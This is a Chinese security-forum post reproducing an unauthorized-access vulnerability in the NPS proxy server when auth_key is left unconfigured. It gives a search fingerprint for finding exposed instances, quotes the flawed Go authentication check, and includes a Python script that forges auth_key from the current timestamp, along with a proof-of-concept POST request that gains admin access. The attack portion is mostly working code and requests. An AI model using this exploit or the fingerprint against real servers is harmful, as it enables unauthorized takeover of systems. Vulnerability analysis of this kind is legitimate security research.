问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
NPS auth_key 未授权访问漏洞
# NPS auth_key 未授权访问漏洞 ## 漏洞描述 NPS auth_key 存在未授权访问漏洞,当 nps.conf 中的 auth_key 未配置时攻击者通过生成特定的请求包可以获取服务器后台权限 ## 漏洞影响...
NPS auth\_key 未授权访问漏洞 ===================== 漏洞描述 ---- NPS auth\_key 存在未授权访问漏洞,当 nps.conf 中的 auth\_key 未配置时攻击者通过生成特定的请求包可以获取服务器后台权限 漏洞影响 ---- NPS 网络测绘 ---- body="serializeArray()" && body="/login/verify" 漏洞复现 ---- 登录页面 ![img](https://shs3.b.qianxin.com/butian_public/f82058867dc980c66fdd79f0323e1f1e857a5fb56ddb7.jpg) 在 web/controllers/base.go 文件中 ![img](https://shs3.b.qianxin.com/butian_public/f229249cdcabe7ae9ac93872a8961d6fca2df03517a91.jpg) ```php md5Key := s.getEscapeString("auth_key") timestamp := s.GetIntNoErr("timestamp") configKey := beego.AppConfig.String("auth_key") timeNowUnix := time.Now().Unix() if !(md5Key != "" && (math.Abs(float64(timeNowUnix-int64(timestamp))) <= 20) && (crypt.Md5(configKey+strconv.Itoa(timestamp)) == md5Key)) { if s.GetSession("auth") != true { s.Redirect(beego.AppConfig.String("web_base_url")+"/login/index", 302) } } else { s.SetSession("isAdmin", true) s.Data["isAdmin"] = true } ``` 这里需要的参数为 配置文件 nps.conf 中的 auth\_key 与 timestamp 的md5 形式进行认证,但在默认的配置文件中,auth\_key 默认被注释,所以只需要可以获取到的参数 timestamp 就可以登录目标 ![img](https://shs3.b.qianxin.com/butian_public/f278179b11a6f0bf2781670641a7039b70bfb770f7270.jpg) ```php import time import hashlib now = time.time() m = hashlib.md5() m.update(str(int(now)).encode("utf8")) auth_key = m.hexdigest() print("auth_key=%s×tamp=%s" % (auth_key,int(now))) ``` 验证POC ```php POST /client/list search=&order=asc&offset=0&limit=10&auth_key=8c98b1bdedbc569c4e61eeaeb11ce772×tamp=1659838908 ``` ![img](https://shs3.b.qianxin.com/butian_public/f1221484d9c482b28ca12c6d931e4a840fdea7c09328d.jpg)
发表于 2024-07-12 18:46:31
阅读 ( 1018 )
分类:
Web应用
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
456 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!